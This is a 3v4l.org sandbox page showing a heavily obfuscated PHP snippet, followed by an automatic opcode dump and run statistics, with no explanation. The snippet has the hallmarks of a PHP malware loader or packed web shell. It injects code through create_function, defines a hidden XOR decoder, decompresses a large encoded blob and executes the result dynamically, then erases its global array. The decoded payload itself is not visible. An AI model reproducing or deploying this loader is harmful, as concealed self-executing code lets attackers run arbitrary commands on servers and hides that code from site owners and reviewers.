3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["ijgqeu"]=array( '$GLOBALS["ijgqeu"][0]=$GLOBALS["ijgqeu"][3];$jkhfoecq=jkhfoecq(2,13);$GLOBALS["ijgqeu"][0]=$jkhfoecq($GLOBALS["ijgqeu"][2]);', '$GLOBALS["ijgqeu"][2]=gzuncompress(jkhfoecq(717,2156));', 'emVuSmBpZVlVb1lyZ2t6ZFNkYWBQdXVhbGF3YnRlf21oTGl9YXVjeldCVFRfQF5EU0laVlRWSl1aX09Da3duc3BhYXh9bXt8aEJRamhyZWM6ZGIibklmSCclNydIdVljcCd+d3k8fCdpQnsrLiducCFgQHpmTWs2Pnx+fGp4c0RHRExCe39zZXd6dGRocn9pOmptZ3x1OmtucHd+LHd6YnZxY3s4d2JnbXZnIH50fWh0a0J4W19TRUBHTndvWU18bWF4YHZqVXdVdykkKGpTcltfU0VMRF5AWHJtcWp0cCU4TndpbHx+dCJ6d3pkaT5gaX12b3t1Wmc4WEZNT1NBTlZAVl9FTFldWk5NQEhVXENYTl1NQlZXZGVGWUJeQkdKU0JHXkZdXVdTdU4senBSPG9iYzx/eX5ZR0c8f2plPCJ3fGJ7Pm9/YHdVRjx/amU8IlhQSSJmdHhxalVHRldOaEdOSkVoSVNHR0ZXUVpedzx/amVLb3Zme2t6cmhOZ2F/TH54e2poVmdmd1BmSEFkeyp2fGJldmJ7PG9hZWB4d3h4S2R7KnZ8YmV2Yns8eXBqZ3xBc3VkdXZ2aE53ZX1B'.'VlRVPW5nWmU9Z2hyeHpHcWp0cCU4TndpbHx+dFR3ZEFyYH91cHJhTnRpe0x3dH1uRndqc3RlZnluZVN6SltfU0VMWUJWXlBSXVRHW0lKY3JMQ3JMdTopdGFrdH14en40YX5XV3Y5KX5haXNgImx8d2lRTnE/KXN8fnB/ZWx2NHJmYms8fHc4cGN/dWVoPWp5eTBsLmZqNWA6eFdrZ2w1fzple3w3YzF1TFZNNX06cH51eUxaWVRKemVuYW5BdCJNcXt/c2UpIz5HbVY1fDpzdG9tekluTGBuc3pjeHZGdkRXbDV8OnZmekF2c2J2bDV8OmZ4LFlHWF88Kz85cndbZHRhKSxXVHlOPGVuU3Fpa5eiTWhj81se8DkH1ceN9TO0hlivm3mFtYJ9LJj7V/CHxialyNQJf7zCOLlt/qLzfegxmoBC5kROWGan+l7alxHZveV6HDTHYzolbi2FnWVStiXYCeHnHB4OLkI0Vx682ptptq/ESsA0A0HwPFKVu7rWMafOSFgnwGZCyw3MWWyophWobnmTfyaJuvAH2Tq5bBlpl1fjOJWm+JNEdSIFNZQHsbgrpn8bCaqafqmF5s1I84x3qhSmiUlNtOtNLELzdrDyo15ygXW4FpQuiKbzYIVy7PDFmV496RD9v29c/aKwJxz4Say6qgKyb0914sZj+E300D/5eFh8rjpzV1PCCE4cXvcJumK2JL3fcVCzHZ58OfaodQf7sXIxEf8kooElUzi+z6azW3WylATDnS+q4jPseKWSRRVQtOnls5G8gZebSUnvEOt49ZuJx3'.'L1Li3VbmSw5JS8+MPrtdOxwnNBK2BEt69XfEnNgsxElb+/wOlmEkFEL1sW0nzkQue4++/mm9OuRQP7JfyVb497Psp+h5UcvtNpmWZPHY0ka7sh4P0szwymwaOmxUVEh+mrLTDGCgljoUtpWF4jRM6kovrGN4wfzH1Qu8F8xyfdXFqcc3A9ODjnAfvv5vd4xcXtPvcrnLcrOLE1fBoAHjkYiw+qmWVWwHMHyvrmIAW0srL5ssw/jauemDtBA0k1WC0lYtItlMSEsiwLXnyOgmjLjaw2MWD8P3ASnOQSKS6xxKuBmaKZbweRiqaUt/17r5ZWkmKpv8Pau7E3u3p9x4ofQka18zux4eWo/WcAQygGVyborXN6Bzlj8J0uzq+b0yqxKaFeKkn1y5zGdUANFrnHbyYo2d46lLuIhtKLxIpY7Nb0ocukXxQvSdTNggDk+JC04zNX1N8ZjX7PxF0xBMFvEgrdXuCQTlTg5Ytblv6tc7mPzCiLhbsFaXLp3M0ECv9VKZ/i+JzhUosgVwp0KatAZcKsSprJD30js8u5XNt1KK0pU3YkgwVJFe79I6+EytKSY+5Npge9TzlOZiwtg76RYgjYBIuNOkDEPfMUL+Vwjp5+4bAX/3Ow9Lxai8K8ys5kzOcDKyHIHfxE'.'UJe2PakqidKrWl3jM+6ZbUhfGviZ1GNzxccAbZ+PsReHo/uchk+YprMPye+d/QlIRp/2jH6+zR1fPE1lyfdC9ACqaSoOA5BwhUp87kbt9bJMueUz7eQpdXf3m33rXa5bZDEY2XxtXoqgNhxE+BNEEn6MYu5MOn5/NCbiVzjfgR0R2Hz3/vTqaTd1hGnt9QxwXe89x6l/bC6KoHQifUrW+VfZK5skDiFSlTPdtaSNJdOFXXquHr9ySdiljK8csx1dFicc+9LnjntF+aFVWrsCAay05JmyIDaAgZqmzKNfRgDzJ09qtfjTPp4OLUgEXqlg9hC2h3C9uyVESn8WSyxSj0TcuEOtFw9Wi6P5Sugtfi5xvtBptrAUbeeyQ1CPch8PlrgoALC6eRRqUjZVnfHWJICEWdLzr5obyycy++I9yoQC73w1WEyUCd8SKVQTrkWBQ34f4yQWyLuLAfdN/mWASdR7MKzU7WkdpVjcI1BxH2rUrz9+B+MQBBn3QsMr0KEMKbNqdmhGjOQ3OJFGlRoJgqE8y'.'FY2tBrg5nBvHYKLBEJHK3e+8qLpimbq5urmSmSPJtLGSV8p4k7seTCoPrOGeZIa26YEvLX4WO9E2S9qv2WH0Mjxtqv+6sk878SgOu+zGQQ5cXtC990Bdw88aDyI7dtrMlK/JQF7EAaNVC1W0kJQKXRrYy3E24JLEZBU9mI6H1C7A0m5gqRfSGA53tNn7s8X5Q0CiqLAwn0KgY6YnF5/EaALOxlvQiqU+HSHlhcQB7mcyBD95jXzyPbGUe0l7cPiBNn+MpisHNnAZlOhK7gnrmS9y9bJA3Oho8Zgpj4iRHSKvHbtBVJM6YHM6OR3iTD+5DdL0axMQ8/2KfMysVVxPyDd72J0bymxaO0Mwu46k3KMhpIBiIZ6ThX/t10K7mdmCkFBRdJ7qexrm5z++nAC9SRslnnYmpFswVuWp9KZ0xgZWF82swukiAoseWWC/DJ6xCbxDei6g56v3b1w6AsApbJnUmZ1HuYTxZ6tPNgAHsDIrMGjJS224Ux6qyPESQPcW/RiTpQIfT6zUpI1TV+dTZsyor9gqiaPfoMzJijnJ7IWPoT/Ofus8/4Xi8JnVkrNbNamLjmFIbkB7KlntPtQuNrKxkrlk4'.'t8o43FdxtX8K31qvIdorpoqWgXI79eVhXwQcwUSwHOELCvuDxFPzo/pExDYCXf0RyVoEJ03PqaGi9D1vLWAtZPw9eeW6Bj1yKjC38IodAt7LQyh5qXNf72Btc5Y65keBYKZfj44zLgRXF3ctac33vVrO8Uea8C0uEK/p7UsQniUoWhhBzeprtLFqvT1iggPFzcFvBB5aaIBYZwcm7g7/n3K5c0VZLmbLso9J67qU7aQYJ8/0uNwpbbGeez58UWvrAUjfMtbY3neOP+9Wfl43105u8GvuDsxuzm7fENLKyetCYVBKg6OW1+JtL4SiDefih6EujOodbcisJ4s8urUUPYU1aj3JZNFJv105DhNvBPEWLWfT0UEjFVTfI/dkKHrlHV4odAWj51xOnC4hYjb+1Vy/aPeb3XGgRKsn54tXN1KDoFJlFNHOkiqY3gtwVjezECQSzGNtHmS5scbUXQDAFPyNTB7CFtBCosFQCYVy8EqbFFZ9rAUB0PrDbUUYoTQuTqzsj6HKhSYolR0V26IncO4qszIatHvRgCKiDdZg8Zca7anCixZvxQk1BZ93FzKc0fw4KVY87koFfhnkjgefl2ldSU/CICNe6Z3QowwVp3ic52SqXx9KeuEhy6FM1N', "/*\x71\x6a\x74\x70\x25\x38\x4e\x77\x69\x6c\x7c\x7e\x74*/");$unqxecx='create_'; if(function_exists($unqxecx.='function')){ $unqxecx('','}function jkhfoecq($w,$l){$t=str_pad("",$l,"skguslqsloszqioy");$d=str_repeat("\x1f",$l);$o=str_repeat("\xe0",$l);$f = substr($GLOBALS["ijgqeu"][0],$w,$l);return(($f^$t)&$d)|($f&$o);}{'); for($uv=-1;++$uv<3;$GLOBALS["ijgqeu"][$uv]()){ $GLOBALS["ijgqeu"][$uv]=$unqxecx('',$GLOBALS["ijgqeu"][$uv]); }};unset($GLOBALS["ijgqeu"]);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 35
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
Branch analysis from position: 15
Branch analysis from position: 35
filename:       /in/j2a9U
function name:  (null)
number of ops:  38
compiled vars:  !0 = $unqxecx, !1 = $uv
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'ijgqeu'
    2     2        OP_DATA                                                  <array>
    5     3        ASSIGN                                                   !0, 'create_'
    6     4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->35
    7     9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7Dfunction+jkhfoecq%28%24w%2C%24l%29%7B%24t%3Dstr_pad%28%22%22%2C%24l%2C%22skguslqsloszqioy%22%29%3B%24d%3Dstr_repeat%28%22%5Cx1f%22%2C%24l%29%3B%24o%3Dstr_repeat%28%22%5Cxe0%22%2C%24l%29%3B%24f+%3D+substr%28%24GLOBALS%5B%22ijgqeu%22%5D%5B0%5D%2C%24w%2C%24l%29%3Breturn%28%28%24f%5E%24t%29%26%24d%29%7C%28%24f%26%24o%29%3B%7D%7B'
         12        DO_FCALL                                      0          
    9    13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->32
   10    15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              ''
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'ijgqeu'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'ijgqeu'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
    9    27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'ijgqeu'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        DO_FCALL                                      0          
         32    >   PRE_INC                                          ~20     !1
         33        IS_SMALLER                                               ~20, 3
         34      > JMPNZ                                                    ~21, ->15
   11    35    >   FETCH_UNSET                                      $22     'GLOBALS'
         36        UNSET_DIM                                                $22, 'ijgqeu'
         37      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
171.32 ms | 1400 KiB | 15 Q